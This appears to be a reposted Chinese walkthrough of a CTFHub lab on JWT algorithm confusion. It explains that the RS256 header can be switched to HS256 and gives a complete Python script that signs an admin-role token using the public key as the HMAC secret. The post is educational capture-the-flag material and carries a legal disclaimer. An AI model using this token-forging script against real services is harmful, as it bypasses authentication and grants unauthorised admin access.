文章总结: 本文档为CTFHubJWT修改签名算法挑战的实战教程。核心漏洞在于服务器允许将非对称签名算法RS256改为对称算法HS256。攻击者通过获取公开公钥,将其作为HMAC对称密钥,伪造包含admin角色的JWT令牌,从而绕过身份验证。文章提供了详细的攻击步骤与Python脚本实现,最终可获取flag完成挑战。 综合评分: 91 文章分类: 漏洞分析,WEB安全,红队,渗透测试,安全工具
CTFHub:第八十五关——JSON Web Token——修改签名算法
原创
君陌社区 君陌社区
君陌社区渗透安全笔记
2026年7月14日 20:00 江苏
在小说阅读器读本章
去阅读
CTFHub网址:【https://www.ctfhub.com/#/index】
登录账号 点击技能树
选择“web进阶-JSON Web Token-修改签名算法”开启题目
题目描述: 有些JWT库支持多种密码算法进行签名、验签。若目标使用非对称密码算法时,有时攻击者可以获取到公钥,此时可通过修改JWT头部的签名算法,将非对称密码算法改为对称密码算法,从而达到攻击者目的
漏洞原理:服务器允许将非对称签名算法(RS256)改为对称算法(HS256),攻击者可直接使用公开的公钥作为对称密钥伪造管理员签名,从而绕过身份验证
单击打开链接进入靶场实战练习环境,显示了一个登陆页面和一段源码
输入用户名admin,密码123456,点击登录,显示显示token和源码
login报文,token的第一部分解密后为{“typ”:”JWT”,”alg”:”RS256″}
index报文,token的第二部分解密后为{“username”:”admin”,”role”:”guest”}
将index报文发送到repeater
打开Json.cn网站,将token上传解密得到头部、载荷、私钥和公钥
回到靶场练习实战环境登陆后页面下载publickey.pem
并将其放在与脚本用以目录下
接下来使用脚本来完成token计算,代码如下所示。
第一部分依旧是{“typ”:”JWT”,”alg”:”RS256″}
将第二部分改为{“username”:”admin”,”role”:”admin”}
# 君陌社区# CTFHub:第八十五关——JSON Web Token——修改签名算法# coding=GBKimport hmacimport hashlibimport base64import requests
# 1. 下载公钥(如果尚未下载)# url = "http://challenge-<id>.ctfhub.com:port/publickey.pem"# r = requests.get(url)# with open("publickey.pem","wb") as f:# f.write(r.content)
# 2. 读取公钥文件with open('publickey.pem', 'r') as f: key = f.read()
# 3. 定义新的Header和Payload# 将算法改为HS256,角色改为adminheader = '{"typ": "JWT", "alg": "HS256"}'payload = '{"username": "admin", "role": "admin"}'
# 4. 进行Base64Url编码def base64url_encode(data): return base64.urlsafe_b64encode(data.encode("utf-8")).decode("utf-8").rstrip("=")
encoded_header = base64url_encode(header)encoded_payload = base64url_encode(payload)
# 5. 拼接Token的前两部分token = encoded_header + "." + encoded_payload
# 6. 使用公钥作为HMAC的密钥,计算签名signature = base64.urlsafe_b64encode( hmac.new( bytes(key, "UTF-8"), token.encode("utf-8"), hashlib.sha256 ).digest()).decode("UTF-8").rstrip("=")
# 7. 组合成最终的JWTforged_token = token + "." + signatureprint(forged_token)
将生伪造的token输入到请求的token字段发送,得到flag数据
提交flag数据,完成靶场实战练习
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:君陌社区渗透安全笔记 君陌社区 君陌社区《CTFHub:第八十五关——JSON Web Token——修改签名算法》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论